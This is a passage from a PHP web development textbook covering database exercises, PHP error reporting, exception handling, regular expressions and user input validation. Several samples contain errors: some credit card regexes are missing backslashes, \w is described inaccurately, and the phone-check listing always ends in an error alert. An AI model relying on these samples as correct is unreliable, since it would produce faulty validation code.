phpMyAdmin

prepared statement

primary key

procedural API

query

record

result set

sanitization

schema

SQL

SQL script

table

transaction

two-phase commit

14.9.2 Review Questions
1. 1. What problems do database management systems solve?



2. 2. What is the syntax for a SQL SELECT statement?

3. 3. What does joining two tables accomplish?

4. 4. What are composite keys?

5. 5. Name two MySQL management applications. Compare and contrast
them.

6. 6. Discuss the trade-offs with using a database-independent API such as
PDO in comparison to using the dedicated mysqli extension.

7. 7. Why must you always sanitize user inputs before using them in your
queries?

8. 8. Describe the role of indexes in database operation.

9. 9. Discuss the advantages and disadvantages of storing BLOBs in a
database.

10. 10. Describe how relational databases differ from NoSQL databases.
List one advantage of each.

14.9.3 Hands-On Practice

Project 1: CRM Admin

Difficulty Level: Beginner

Overview
Demonstrate your ability to retrieve information from a database and display
it. The results when finished will look similar to that shown in Figure 14.35 .





Figure 14.35 Completed
Project 1

Figure 14.35 Full Alternative Text

Hands-on Exercises
Project 14.1

Instructions
1. You have been provided with a PHP page (chapter14-project1.php)

along with various include files.

2. You will need to retrieve information from two tables: Employees and
EmployeeToDo.You will need to display the first and last name from
every record in the Employee table within an unordered list. The data
should be sorted by the LastName field.

3. Each employee name in the list should be a link back to the same page
(chapter14-project1.php), but with the EmployeeID field appended via a
query string parameter.

4. When a request is received with a query string, then the page will
display additional information within the Employee Details <div>. In
the Address tab group, display the rest of the employee record
information. In the TO DO tab group, display the related records from
the EmployeeToDo table for that EmployeeID. Sort the EmployeeToDo data
by the DateBy field.



Test
1. Test the page. Verify the links works as expected and that the data is

correctly sorted.

Project 2: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
Demonstrate your ability to retrieve information from a database and display
it. This will require a variety of more sophisticated SQL queries. The results
when finished will look similar to that shown in Figure 14.36 .





Figure 14.36 Completed
Project 2

Figure 14.36 Full Alternative Text

Hands-on Exercises
Project 14.2

Instructions
1. You have been provided with a PHP page (chapter14-project2.php)

along with various include files.

2. You will need to retrieve information from three tables: Continents,
Countries, and ImageDetails.

3. Display every image (use the version from the square-medium folder) in
the ImageDetails table. The Path field contains the filename of the
image. Each image should be a link to detail.php with the ImageID field
passed as a query string. This detail.php page is not supplied; you could
however extend this exercise by modifying the detail.php page
provided in Chapter 12, Project 2.

4. The filter section near the top of the page will be used to filter/reduce the
number of images displayed in the image list. The user will be able to
display only those images from a specific continent, country, or images
whose Title field contains a search word after the user clicks the Filter
button.

5. You will need to display every record from the Continents tables within
the <select> list that appears in the filter section near the top of the



page. Each <option> element should display the ContinentName field;
the ContinentCode field should be used for option value.

6. For the Countries <select> list, you will display only those countries
that have a matching record in the ImageDetails table. This will require
an INNER JOIN along with a GROUP BY.

7. When the user clicks the Filter button, the page should display only
those images whose CountryCodeISO or ContinentCode or Title fields
match the specified valued in the filter area. For the Title field, match
any records whose Title field contains whatever was entered into the
search box (hint: use SQL Like along with the wildcards character).

Test
1. Test the page. Verify the filters work as expected.

Project 3: Art Store

Difficulty Level: Advanced

Overview
Demonstrate not only your ability to generate dynamic pages from multiple
database tables, but also the ability to design a solution that minimizes code
duplication. This project also makes use of a CSS Framework called
SemanticUI. The results when finished will look similar to that shown in
Figure 14.37 .





Figure 14.37 Completed
Project 3

Figure 14.37 Full Alternative Text

Hands-on Exercises
Project 14.3

Instructions
1. You have been provided with two HTML files (list.html and detail.html)

that includes all the necessary markup. You have also been provided
with an SQL import script (art-small.sql) as well as all the images
needed for these two pages. You should create a database named art and
import the data.

2. Create PHP versions of the two supplied HTML files named browse-
paintings.php and single-painting.php. Extract the common header into a
separate include file.

3. You will need to retrieve information from the Paintings table. You will
be accessing the Artists, Shapes, Galleries, Genres, Subjects, and
Reviews tables, along with the intermediate tables: PaintingGenres and
PaintingSubjects. Since both pages will need to access these tables, you
should generalize your database retrieval code into separate classes.

4. The browse-paintings.php page will initially potentially display all the
paintings in the Painting table. However, because there are hundreds of
paintings, only show the top 20 (use the sql LIMIT keyword). Each of



the images shown must be links with the appropriate query string to the
single-painting.php page. The user should be able to filter the list by
specifying the artist or museum or shape in the three drop-down lists,
populated from the artists (sorted by last name), museums (sorted by
gallery name), and shapes (sorted by shape name) tables. As with the
unfiltered list, only display the top 20 matches for the filter. To simplify
your programming, assume that the user will filter only by one of artists,
museums, or shapes. Be sure to use the PHP utf8_encode() function to
properly display some of the foreign characters in the data.

5. It must display the information about a single painting (specified via the
id passed in via a query string parameter). This page has a lot of
information packed into it, and it uses Tab components (available as part
of the SemanticUI CSS framework) to make it manageable. This page
needs to display data from some other tables (Galleries, Genres,
Subjects, and Reviews). The Frame, Glass, and Matt select lists should
be populated from the appropriate tables (TypesFrame, TypesGlass,
TypesMatt). This page should handle a missing or a noninteger query
string parameter by displaying a default painting.

Test
1. Test the page. Verify the filters work as expected and that the painting

information is correct.
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15 Error Handling and Validation



Chapter Objectives
In this chapter you will learn …

What the different types of errors are and how they differ from
exceptions

The different forms of error reporting in PHP

How to handle errors and exceptions

What regular expressions are and how to use them in JavaScript and
PHP

Some best practices in design of user input validation

How to validate user input in HTML5, JavaScript, and PHP

This chapter covers one of the most vital topics in web application
development: how to prevent and deal with unexpected errors. Even the best-
written application may fail. Whether it is due to strange user input, the
failure of a remote service, or simple programmer oversight, errors and
exceptions happen. Constructing a web application that can handle
exceptions gracefully and meaningfully requires some additional approaches
to those used in desktop applications. PHP provides both language-level and
function-level mechanisms for helping the developer handle the unexpected.



15.1 What Are Errors and
Exceptions?
Even the best-written web application can suffer from runtime errors. Most
complex web applications must interact with external systems such as
databases, web services, RSS feeds, email servers, file system, and other
externalities that are beyond the developer's control. A failure in any one of
these systems will mean that the web application will no longer run
successfully. It is vitally important that web applications gracefully handle
such problems.

15.1.1 Types of Errors
Not every problem is unexpected or catastrophic. One might say that there
are three different types of website problems:

Expected errors

Warnings

Fatal errors

An expected error is an error that routinely occurs during an application.
Perhaps the most common example of this type would be an error as a result
of user inputs, for instance, entering letters when numbers were expected. If
you plan on remembering only one thing from this chapter, it should be this:
Expect the user to not always enter expected values. Users will leave fields
blank, enter text when numbers were expected (and vice versa), type in too
much or too little text, forget to click certain things, and click things they
should not. Your PHP code should always check user inputs for acceptable
values.

Not every expected error is the result of user input. Web applications that rely



on connections to externalities such as database management systems, legacy
software systems, or web services should be expected to occasionally fail to
connect.

Note
Remember that user input is not limited to data entry forms: query strings
attached to hyperlinks (as well as cookies, which are covered in Chapter 16)
are also a type of user input, and your application should be able to handle
the user modifying and messing with query string parameter names and
values. Your PHP code should always check query string parameters for
acceptable values.

So how should you deal with expected errors with user inputs? You will need
some type of logic that verifies that first, the user input exists and second, it
contains the expected values.

PHP provides two functions for testing the value of a variable. You have
already encountered isset(), which returns true if a variable is not null.
However, isset() by itself does not provide enough error checking.
Generally a better choice for checking query string values is the empty()
function, which returns true if a variable is null, false, zero, or an empty
string. Figure 15.1 illustrates how these functions differ.



Figure 15.1 Comparing isset()
and empty() with query string
parameters

Figure 15.1 Full Alternative Text

If you are expecting a query string parameter to be numeric, then you can use



the is_numeric() function, as shown in Listing 15.1.

Listing 15.1 Testing a query string
to see if it exists and is numeric
$id = $_GET['id']; 

if (!empty($id) &&  is_numeric($id)  ) { 

   // use the query string since it exists and is a numeric value 

   // … 

}

There are many other checks that a page might make to test that a user's input
is in the correct format. We will explore several of these in depth after you
have learned more about regular expressions in Section 15.4.

Another type of error is warnings, which are problems that generate a PHP
warning message (which may or may not be displayed) but will not halt the
execution of the page. For instance, calling a function without a required
parameter will generate a warning message but not stop execution. While not
as serious as expected errors, these types of incidental errors should be
eliminated by the programmer, since they harbor the potential for bugs.
However, if warning messages are not being displayed (which is a common
setup), then these warnings may escape notice, and hence require special
strategies to ensure the developers are aware of them.

The final type of error is fatal errors, which are serious in that the execution
of the page will terminate unless handled in some way. These should truly be
exceptional and unexpected, such as a required input file being missing or a
database table or field disappearing. These types of errors not only need to be
reported so that the developer can try to fix the problem, but also the page
needs to recover gracefully from the error so that the user is not excessively
puzzled or frustrated.

15.1.2 Exceptions



Developers sometimes treat the words “error” and “exception” as synonyms.
In the context of PHP, they do have different meanings. An error is some
type of problem that generates a nonfatal warning message or that generates
an error message that terminates the program's execution. An exception refers
to objects that are of type Exception and which are used in conjunction with
the object-oriented try … catch language construct for dealing with runtime
errors. Section 15.3 covers exception handling in more detail.



15.2 PHP Error Reporting
PHP has a flexible and customizable system for reporting warnings and errors
that can be set programmatically at runtime or declaratively at design-time
within the php.ini file.1 There are three main error reporting flags:

error_reporting

display_errors

log_errors

The meaning of each of these is important and should be learned by PHP
developers.

15.2.1 The error_reporting Setting
The error_reporting setting specifies which type of errors are to be
reported.1 It can be set programmatically inside any PHP file by using the
error_reporting() function:

Hands-on Exercises Lab 15
Exercise
Turn on Reporting

error_reporting(E_ALL); 

It can also be set within the php.ini file:

error_reporting = E_ALL



The possible levels for error_reporting are defined by predefined
constants; Table 15.1 lists some of the most common values. It is worth
noting that in some PHP environments, the default setting is zero, that is, no
reporting.

Table 15.1 Some
error_reporting Constants

Constant
Name Value Description

E_ALL 8191 Report all errors and warnings
E_ERROR 1 Report all fatal runtime errors

E_WARNING 2 Report all nonfatal runtime errors (i.e.,
warnings)

0 No reporting

15.2.2 The display_errors Setting
The display_error setting specifies whether error messages should or
should not be displayed in the browser.2 It can be set programmatically via
the ini_set() function:

Hands-on Exercises Lab 15
Exercise
Display Errors

ini_set('display_errors','0');



It can also be set within the php.ini file:

display_errors = Off

Note
Error and warning messages are quite helpful for programmers trying to
debug problems. However, they should never be displayed to the end user.
Not only are they unhelpful for end users, but these messages can be a
security risk as they may provide information that can be useful to someone
trying to find attack vectors into a system.

15.2.3 The log_errors Setting
The log_errors setting specifies whether error messages should or should
not be sent to the server error log. It can be set programmatically via the
ini_set() function:

ini_set('log_errors','1');

It can also be set within the php.ini file:

log_errors = On

When logging is turned on, error reporting will be sent to either the operating
system's error log file or to a specified file in the site's directory. The server
log file option will not normally be available in shared hosting environments.

If saving error messages to a log file in the site's directory, the file name and
path can be set via the error_log setting (which is not to be confused with
the log_errors setting) programmatically:

ini_set('error_log', '/restricted/my-errors.log');

It can also be set within the php.ini file:



error_log = /restricted/my-errors.log

Note
It is strongly advised to turn on error logging for production sites. In fact,
because warning messages might not always be visible in the browser, it is
recommended to turn on error logging also while an application is in
development mode as well.

You can also programmatically send messages to the error log at any time via
the error_log() function.3 Some examples of its use are as follows:

Hands-on Exercises Lab 15
Exercise
Tail Your Logs

$msg = 'Some horrible error has occurred!'; 

// send message to system error log (default) 

error_log($msg,0); 

// email message 

error_log($msg,1,'support@abc.com','From:  somepage.php@abc.com');

// send message to file 

error_log($msg,3, '/folder/somefile.log');

As you can see, this function has the added advantage of being able to email
error messages.



15.3 PHP Error and Exception
Handling
When a fatal PHP error occurs, program execution will eventually terminate
unless it is handled. The PHP documentation provides two mechanisms for
handling runtime errors: procedural error handling and object-oriented
exception handling.

15.3.1 Procedural Error Handling
In the procedural approach to error handling, the programmer needs to
explicitly test for error conditions after performing a task that might generate
an error. For instance, in Chapter 14 you learned how to use the procedural
mysqli approach for accessing a database. In such a case you needed to test
for and deal with errors after each operation that might generate an error
state, as shown in Listing 15.2.

Listing 15.2 Procedural approach to
error handling
$connection = mysqli_connect(DBHOST, DBUSER, DBPASS, DBNAME); 

 

$error = mysqli_connect_error(); 

if ($error != null) { 

   // handle the error 

   … 

}

While this approach might seem straightforward, it does require the
programmer to know ahead of time what code is going to generate an error
condition. As well, it might result in a great deal of code duplication. The



advantage of the try … catch mechanism (explained next) is that it allows
the developer to handle a wider variety of exceptions in a single catch block.

Yet, even with explicit testing for error conditions, there will still be
situations when an unforeseen error occurs. In such a case, unless a custom
error handler has been defined, PHP will terminate the execution of the
application. Custom error handlers are covered below in Section 15.3.3.

15.3.2 Object-Oriented Exception
Handling
When a runtime error occurs, PHP throws an exception. This exception can
be caught and handled either by the function, class, or page that generated the
exception or by the code that called the function or class. If an exception is
not caught, then eventually the PHP environment will handle it by
terminating execution with an “Uncaught Exception” message.4

Like other object-oriented programming languages, PHP uses the try …
catch programming construct to programmatically deal with exceptions at
runtime. Listing 15.3 illustrates a sample example of a try … catch block
similar to that you have already seen in Chapter 14. Notice that the catch
construct expects some type of parameter of type Exception (or a subclass of
Exception). The Exception class provides methods for accessing not only
the exception message, but also the line number of the code that generated
the exception and the stack trace, both of which can be helpful for
understanding where and when the exception occurred.

Listing 15.3 Example of try … catch
block
// Exception throwing function (for illustration purposes) 

function throwException($message = null,$code = null) { 

  throw new Exception($message,$code); 



} 

 

try { 

  // PHP code here 

  $connection = mysqli_connect(DBHOST, DBUSER, DBPASS, DBNAME)  

     or throwException(“error”); 

  … 

} 

catch (Exception $e) { 

  echo ' Caught exception: ' . $e->getMessage(); 

  echo ' On Line : ' . $e->getLine(); 

  echo ' Stack Trace: '; print_r($e->getTrace()); 

} finally { 

  // PHP code here that will be executed after try or after catch 

}

The finally block is optional. Any code within it will always be executed
after the code in the try or in the catch blocks, even if that code contains a
return statement. It is typically used if the developer wants certain things
done regardless of whether an exception occurred, such as closing a
connection or removing temporary files. However, the finally block is only
available in PHP 5.5 and later, which was released in June 2013.

It is also possible in PHP to programmatically throw an exception via the
throw keyword, as shown in Listing 15.4.

Why would you throw an exception? If you are, for instance, creating
functions that are general purpose and to be used in a variety of contexts that
you have no control over, it might make sense to throw an exception when an
expected programming assumption is not met. Listing 15.4 is an example of
this use.

Listing 15.4 Throwing an exception
function processArray($array) 

{ 

   // make sure the passed parameter is an array with values 

   if ( empty($array) ) { 

      throw  new Exception('Array with values expected'); 

   } 

   // process the array code 



   … 

}

Do you remember the brief discussion in Chapter 13 on what to do in a class
setter method in which the input parameter was invalid (e.g.,
setBirthDate() in Section 13.3.1)? One possible strategy for such a scenario
is to throw an exception:

public function setBirthDate($birthdate){ 

   // set variable only if passed a valid date string 

   if ( $timestamp = strtotime($birthdate) ) { 

      $this->birthDate=$timestamp; 

   } 

   else { 

     throw new Exception(“Invalid Date in Artist->setBirthDate()”);

   } 

}

It might also make sense to rethrow an exception within a catch block. For
instance, you may want to do some application-specific handling of the
exception and then pass it on to the PHP environment (or some other
intermediary). Listing 15.5 illustrates an example of rethrowing. Notice that it
does not create a new exception as in Listing 15.4 but throws the original
exception.

Listing 15.5 Rethrowing an
exception
try { 

    // PHP code here 

} 

catch (Exception $e) { 

    // do some application-specific exception handling here 

    … 

    // now rethrow exception 

    throw $e; 

}



Note
Warnings in PHP do not generate a runtime exception and hence cannot be
caught.

15.3.3 Custom Error and Exception
Handlers
When a web application is in development, one can generally be content with
displaying and/or logging error messages and then terminating the script. But
for production applications, you will likely want to handle significant errors
in a better way. It is possible to define your own handlers for uncaught errors
and exceptions; the mechanism for doing so varies depending upon whether
you are using the procedural or object-oriented mechanism for responding to
errors.
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Exercise
Custom Error Handlers

If using the procedural approach (i.e., not using try … catch), you can
define a custom error-handling function and then register it with the
set_error_handler() function. If you are using the object-oriented
exception approach with try … catch blocks, you can define a custom
exception-handling function and then register it with the
set_exception_handler() function.

What should a custom error or exception handler do? It should provide the
developer with detailed information about the state of the application when



the exception occurred, information about the exception, and when it
happened. It should hide any of those details from the regular end user, and
instead provide the user with a generic message such as “Sorry but there was
a problem,” or even better perhaps from a security standpoint, “Sorry but the
system is down for maintenance.” Why might the latter, less descriptive
message be better? Because it doesn't let a potential malicious user know that
he or she did something that caused a problem. Listing 15.6 illustrates a
sample custom exception-handler function.

Listing 15.6 Custom exception
handler
function my_exception_handler($exception) { 

 

  // put together a detailed exception message 

  $msg = “<p>Exception Number ” . $exception->getCode(); 

  $msg .= $exception->getMessage() . “ occurred on line ”; 

  $msg .= “<strong>” . $exception->getLine() . “</strong>”; 

  $msg .= “ and in the file: ”; 

  $msg .= “<strong>” . $exception->getFile() . “</strong> </p>”; 

 

  // email error message to someone who cares about such things 

  error_log($msg, 1, 'support@domain.com', 

            'From: reporting@domain.com'); 

 

  // if exception serious then stop execution and say something 

  if ($exception->getCode() !== E_NOTICE) { 

     die(“Sorry the system is down for maintenance. Please try  

          again soon”); 

  } 

}

Once the handler function is defined, it must be registered, typically at the
beginning of the page, using the following code:

set_exception_handler('my_exception_handler');



15.4 Regular Expressions
A regular expression is a set of special characters that define a pattern. They
are a type of language that is intended for the matching and manipulation of
text. In web development they are commonly used to test whether a user's
input matches a predictable sequence of characters, such as those in a phone
number, postal or zip code, or email address. Their history predates the world
of web development, as evidenced by the formal specification defined by the
IEEE POSIX standard.5
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Exercise
Getting Started With Regex

Regular expressions are a concise way to eliminate the conditional logic that
would be necessary to ensure that input data follows a specific format.
Consider a postal code: in Canada a postal code is a letter, followed by a
digit, followed by a letter, followed by an optional space or dash, followed by
number, letter, and number. Using if statements, this would require many
nested conditionals (or a single if with a very complex expression). But
using regular expressions, this pattern check can be done using a single
concise function call.

PHP, JavaScript, Java, the .NET environment, and most other modern
languages support regular expressions. They do use different regular
expression engines which operate in different ways, so not all regular
expressions will work the same in all environments. This can be a source of
frustration for those trying to find answers online since the subtle syntax
differences can be hard to spot at a glance.



15.4.1 Regular Expression Syntax
A regular expression consists of two types of characters: literals and
metacharacters. A literal is just a character you wish to match in the target
(i.e., the text that you are searching within). A metacharacter is a special
symbol that acts as a command to the regular expression parser. There are 14
metacharacters described in the php impolementation (Table 15.2). To use a
metacharacter as a literal, you will need to escape it by prefacing it with a
backslash (\). Table 15.3 lists examples of typical metacharacter usage to
create patterns a typical regular expression is made up of several patterns.

Table 15.2 Regular Expression
Metacharacters (i.e.,
Characters with Special
Meaning)
. [ ] \ ( ) ^ $ | * ? { } +

Table 15.3 Common Regular
Expression Patterns

Pattern Description

^ qwerty
$

If used at the very start and end of the regular
expression, it means that the entire string (and not just a
substring) must match the rest of the regular expression
contained between the ^ and the $ symbols.

\t Matches a tab character.
\n Matches a new-line character.



. Matches any character other than \n.

[qwerty] Matches any single character of the set contained
within the brackets.

[^qwerty] Matches any single character not contained within the
brackets.

[a-z] Matches any single character within range of
characters.

\w Matches any word character. Equivalent to [a-zA-Z0-
9].

\W Matches any nonword character.
\s Matches any white-space character.
\S Matches any nonwhite-space character.
\d Matches any digit.
\D Matches any nondigit.
* Indicates zero or more matches.
+ Indicates one or more matches.
? Indicates zero or one match.
{n} Indicates exactly n matches.
{n,} Indicates n or more matches.
{n, m} Indicates at least n but no more than m matches.

| Matches any one of the terms separated by the |
character. Equivalent to Boolean OR.

() Groups a subexpression. Grouping can make a regular
expression easier to understand.

In PHP, regular expressions are contained within forward slashes. So, for
instance, to define a regular expression, you would use the following:

$pattern = '/ran/';

It should be noted that regular expression pattern checks are case sensitive.

Regular expressions can be complicated to visually decode; to help, this
section will use the convention of alternating between red and blue to indicate
distinct subpatterns in an expression and black text for literals.



This regular expression will find matches in all three of the following strings.

'randy connolly' 

'Sue ran to the store' 

'I would like a cranberry'

To perform the pattern check in PHP, you would write something similar to
the following:

$pattern = '/ran/'; 

$check = 'Sue ran to the store'; 

if ( preg_match($pattern, $check) ) { 

  echo 'Match found!'; 

}

To perform the same pattern check in JavaScript, you would write something
similar to the following:

var pattern =  /ran/; 

if ( pattern.test('Sue ran to the store') ) { 

  document.write('Match found!'); 

}

In JavaScript a regular expression is its own data type. Just as a string literal
begins and ends with quote characters, in JavaScript, a regular expression
literal begins and ends with forward slashes.

15.4.2 Extended Example
Perhaps the best way to understand regular expressions is to work through the
creation of one. For instance, if we wished to define a regular expression that
would match a North American phone number without the area code, we
would need one that matches any string that contains three numbers, followed
by a dash, followed by four numbers without any other character. The regular
expression for this would be:
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Exercise
Advanced Regular Expressions

^\d{3}-\d{4}$

While this may look quite intimidating at first, it is in reality a fairly
straightforward regular expression. In this example, the dash is a literal
character; the rest are all metacharacters. The ^ and $ symbol indicate the
beginning and end of the string, respectively; they indicate that the entire
string (and not a substring) can only contain that specified by the rest of the
metacharacters. The metacharacter \d indicates a digit, while the
metacharacters {3} and {4} indicate three and four repetitions of the previous
match (i.e., a digit), respectively.

A more sophisticated regular expression for a phone number would not allow
the first digit in the phone number to be a zero (“0”) or a one (“1”). The
modified regular expression for this would be:

^[2-9]\d{2}-\d{4}$

The [2-9] metacharacter indicates that the first character must be a digit
within the range 2 through 9.

We can make our regular expression a bit more flexible by allowing either a
single space (440 6061), a period (440.6061), or a dash (440-6061) between
the two sets of numbers. We can do this via the [] metacharacter:

^[2-9]\d{2}[-\s\.]\d{4}$

This expression indicates that the fourth character in the input must match
one of the three characters contained within the square brackets (- matches a
dash, \s matches a white space, and \. matches a period). We must use the
escape character for the dash and period, since they have a metacharacter
meaning when used within the square brackets.

If we want to allow multiple spaces (but only a single dash or period) in our
phone, we can modify the regular expression as follows.



^[2-9]\d{2}[-\s\.]\s*\d{4}$

The metacharacter sequence \s* matches zero or more white spaces. We can
further extend the regular expression by adding an area code. This will be a
bit more complicated, since we will also allow the area code to be surrounded
by brackets (e.g., (403) 440-6061), or separated by spaces (e.g., 403 440
6061), a dash (e.g., 403-440-6061), or a period (e.g., 403.440.6061). The
regular expression for this would be:

^\(?\s*\d{3}\s*[\)-\.]?\s*[2-9]\d{2}\s*[-\.]\s*\d{4}$

The modified expression now matches zero or one “(” characters (\(?),
followed by zero or more spaces (\s*), followed by three digits (\d{3}),
followed by zero or more spaces (\s*), followed by either a “)” a “-”, or a “.”
character ([\)-\.]?), finally followed by zero or more spaces (\s*).

Finally, we may want to make the area code optional. To do this, we will
group the area code by surrounding the area code subexpression within
grouping metacharacters—which are “(” and “)”—and then make the group
optional using the ? metacharacter. The resulting regular expression would
now be:

^(\(?\s*\d{3}\s*[\)-\.]?\s*)?[2-9]\d{2}\s*[-\.]\s*\d{4}$

While this regular expression does look frightening, when you compare the
efficiency of making this check via a single line of code in comparison to the
many lines of code via conditionals, you quickly see the benefit of regular
expressions. To illustrate, consider the lengthy JavaScript code in Listing
15.7, which validates a phone number using only conditional logic. Needless
to say, the regular expression is far more succinct!

Hopefully by now you are able to see that many web applications could
potentially benefit from regular expressions. Table 15.4 contains several
common regular expressions that you might use within a web application.
Many more common regular expressions can easily be found on the web.

Table 15.4 Some Common



Web-Related Regular
Expressions

Regular
Expression Description

^\S{0,8}$ Matches 0 to 8 nonspace characters.

^[a-zA-
Z]\w{8,16}$

Simple password expression. The password
must be at least 8 characters but no more than
16 characters long.

^[a-zA-
Z]+\w*\d+\w*$

Another password expression. This one
requires at least one letter, followed by any
number of characters, followed by at least one
number, followed by any number of characters.

^\d{5}(-\d{4})?$ American zip code.
^((0[1-9])|(1[0-
2]))\/(\d{4})$ Month and years in format mm/yyyy.

^(.+)@([^\.].*)\.
([a-z]{2,})$

Email validation based on current standard
naming rules.

^((http|https)://)?
([\w-] +\.)+[\w]+
(/[\w- ./?]*)?$

URL validation. After either http:// or https://, it
matches word characters or hyphens, followed
by a period followed by either a forward slash,
word characters, or a period.

^4\d{3}[\s\-]d{4}
[\s\-] d{4} [\s\-
]d{4}$

Visa credit card number (four sets of four digits
beginning with the number 4), separated by a
space or hyphen.

^5[1-5]\d{2}[\s\-
]d{4}[\s\-] d{4}
[\s\-]d{4}$

MasterCard credit card number (four sets of
four digits beginning with the numbers 51-55),
separated by a space or hyphen.

Listing 15.7 A phone number



validation script without regular
expressions
var phone=document.getElementById(“phone”).value; 

var parts = phone.split(“.”);                 // split on . 

if (parts.length !=3){ 

   parts = phone.split(“-”);                  // split on - 

} 

if (parts.length == 3) { 

   var valid=true;                  // use a flag to track validity

   for (var i=0; i < parts.length; i++) { 

      //  check that each component is a number 

      if (!isNumeric(parts[i])) {  

         alert( “you have a non-numeric component”); 

         valid=false; 

      } else {  // depending on which component make sure it's in range

         if (i<2) { 

            if (parts[i]<100 || parts[i]>999) { 

               valid=false; 

            } 

         } 

         else { 

            if (parts[i]<1000 || parts[i]>9999) { 

               valid=false; 

            } 

         } 

      }  // end if isNumeric 

  }  // end for loop 

  if (valid) { 

     alert(phone + “is a valid phone number”); 

  } 

} 

alert (“not a valid phone number”);

Pro Tip
MySQL also supports regular expressions through the REGEXP operator (or the
alternative RLIKE operator, which has the identical functionality). This
operator provides a more powerful alternative to the regular SQL LIKE



operator (though it doesn't support all the normal regular expression
metacharacters). For instance, the following SQL statement matches all art
works whose title contains one or more numeric digits:

SELECT * FROM ArtWorks WHERE Title REGEXP '[0-9]+'

While MySQL regular expressions provide opportunities for powerful text-
matching queries, it should be remembered that these queries do not make
use of indices so the use of regular expressions can be unacceptably slow
when querying large tables.



15.5 Validating User Input
As mentioned several times already, user input must always be tested for
validity. But what types of validity checks should a form be making? How
should we notify the user?

15.5.1 Types of Input Validation
The following list indicates most of the common types of user input
validation.

Required information. Some data fields just cannot be left empty. For
instance, the principal name of things or people is usually a required
field. Other fields such as emails, phones, or passwords are typically
required values.

Correct data type. While some input fields can contain any type of data,
other fields, such as numbers or dates, must follow the rules for its data
type in order to be considered valid.

Correct format. Some information, such as postal codes, credit card
numbers, and social security numbers have to follow certain pattern
rules. It is possible, however, to go overboard with these types of
checks. Try to make life easier for the user by making user input
forgiving. For instance, it is an easy matter for your program to strip out
any spaces that users entered in their credit card numbers, which is a
better alternative to displaying an error message when the user enters
spaces into the credit card number.

Comparison. Some user-entered fields are considered correct or not in
relation to an already-inputted value. Perhaps the most common
example of this type of validation is entering passwords: most sites
require the user to enter the password twice and then a comparison is
made to ensure the two entered values are identical. Other forms might



require a value to be larger or smaller than some other value (this is
common with date fields).

Range check. Information such as numbers and dates have infinite
possible values. However, most systems need numbers and dates to fall
within realistic ranges. For instance, if you are asking a user to input her
birthday, it is likely you do not want to accept January 1, 214 as a value;
it is quite unlikely she is 1800 years old! As a result, almost every
number or date should have some type of range check performed.

Custom. Some validations are more complex and are unique to a
particular application. Some custom validations can be performed on the
client side. For instance, the author once worked on a project in which
the user had to enter an email (i.e., it was required), unless the user
entered both a phone number and a last name. This required multiple
conditional validation logic. Other custom validations require
information on the server. Perhaps the most common example is user
registration forms that will ensure that the user doesn't enter a login
name or email that already exists in the system.

15.5.2 Notifying the User
What should your pages do when a validation check fails? Clearly the user
needs to be notified … but how? Most user validation problems need to
answer the following questions:

What is the problem? Users do not want to read lengthy messages to
determine what needs to be changed. They need to receive a visually
clear and textually concise message. These messages can be gathered
together in one group and presented near the top of a page and/or beside
the fields that generated the errors. Figure 15.2 illustrates both
approaches.



Figure 15.2 Displaying error
messages

Figure 15.2 Full Alternative Text

Where is the problem? Some type of error indication should be located
near the field that generated the problem. Some sites will do this by
changing the background color of the input field, or by placing an
asterisk or even the error message itself next to the problem field. Figure
15.3 illustrates the latter approach.



Figure 15.3 Indicating where
an error is located

Figure 15.3 Full Alternative Text

If appropriate, how do I fix it? For instance, don't just tell the user that a
date is in the wrong format, tell him or her what format you are
expecting, such as “The date should be in yy/mm/dd format.”

15.5.3 How to Reduce Validation
Errors
Users dislike having to do things again, so if possible, we should construct
user input forms in a way that minimizes user validation errors. The basic
technique for doing so is to provide the user with helpful information about
the expected data before he or she enters it. Some of the most common ways
of doing so include:



Using pop-up JavaScript alert (or other popup) messages. This approach
is fine if you are debugging a site still in development mode or you are
trying to re-create the web experience of 1998, but it is an approach that
you should generally avoid for almost any other production site.
Probably the only usability justification for pop-up error messages is for
situations where it is absolutely essential that the user see the message.
Destructive and/or consequential actions such as deleting or purchasing
something might be an example of a situation requiring pop-up
messages or confirmations.

Provide textual hints to the user on the form itself, as shown in Figure
15.4 . These could be static or dynamic (i.e., only displayed when the
field is active). The placeholder attribute in text fields is an easy way
to add this type of textual hint (though it disappears once the user enters
text into the field).



Figure 15.4 Providing textual
hints

Figure 15.4 Full Alternative Text

Using tool tips or pop-overs to display context-sensitive help about the
expected input, as shown in Figure 15.5 . These are usually triggered
when the user hovers over an icon or perhaps the field itself. These pop-
up tips are especially helpful for situations in which there is not enough
screen space to display static textual hints. However, hover-based
behaviors will generally not work in environments without a mouse
(e.g., mobile or tablet-based browsers). HTML does not provide support
for tool tips or pop-ups, so you will have to use a JavaScript-based
library or jQuery plug-in to add this behavior to your pages. The
examples shown in Figure 15.5 were added via the Bootstrap framework
introduced in Chapter 7.



Figure 15.5 Using tool tips
Figure 15.5 Full Alternative Text

Another technique for helping the user understand the correct format for
an input field is to provide a JavaScript-based mask, as shown in Figure
15.6 . The advantage of a mask is that it provides immediate feedback
about the nature of the input and typically will force the user to enter the
data in a correct form. While HTML5 does provide support for regular
expression checks via the pattern attribute, if you want visible
masking, you will have to use a JavaScript-based library or jQuery plug-
in to add masking to your input fields.

Figure 15.6 Using input
masks

Figure 15.6 Full Alternative Text



Providing sensible default values for text fields can reduce validation
errors (as well as make life easier for your user). For instance, if your
site is in the .uk top-level domain, make the default country for new user
registrations the United Kingdom.

Finally, many user input errors can be eliminated by choosing a better
data entry type than the standard <input type=“text”>. For instance, if
you need the user to enter one of a small number of correct answers, use
a select list or radio buttons instead. If you need to get a date from the
user, then use either the HTML5 <input type=“date”> type (or one of
the many freely available jQuery versions). If you need a number, use
the HTML5 <input type=“number”> input type.

Pro Tip
One of the most common problems facing the developers of real-world web
forms is how to ensure that the user submitting the form is actually a human
and not a bot (i.e., a piece of software). The reason for this is that automated
form bots (often called spam bots) can flood a web application form with
hundreds or thousands of bogus requests.

This problem is generally solved by a test commonly referred to as a
CAPTCHA (which stands for Completely Automated Public Turing test to
tell Computers and Humans Apart) test. Most forms of CAPTCHA ask the
user to enter a string of numbers and letters that are displayed in an obscured
image that is difficult for a software bot to understand. Other CAPTCHAs
ask the user to solve a simple mathematical question or trivia question.

We think it is safe to state that most human users dislike filling in CAPTCHA
fields, as quite often the text is unreadable for humans as well as for bots.
They also present a usability challenge for users with visual disabilities. As
such, in general one should only add CAPTCHA capabilities to a form if
your site is providing some type of free service or if the site is providing a
mechanism for users to post content that will appear on the site. Both of these
scenarios are especially vulnerable to spam bots.



